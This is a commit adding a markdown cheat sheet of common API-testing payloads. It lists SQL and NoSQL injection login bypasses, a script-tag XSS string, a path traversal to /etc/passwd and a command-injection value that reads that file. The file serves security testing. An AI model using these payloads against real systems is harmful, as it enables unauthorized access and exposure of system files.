Create common-payloads.md

Author: ngvuthdanhh

cheatsheets/common-payloads.md

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+# 💥 Common Payloads for API Testing
+
+## SQL Injection
+```sql
+' OR '1'='1' --
+admin' --
+```
+
+```bash
+NoSQL Injection
+{ "username": { "$ne": null }, "password": { "$ne": null } }
+```
+
+```bash
+XSS in JSON
+{ "input": "<script>alert(1)</script>" }
+```
+
+```bash
+Path Traversal
+../../../../etc/passwd
+```
+
+```bash
+Command Injection
+; cat /etc/passwd
+```
+
+✅ Use responsibly in legal testing environments only!
+
+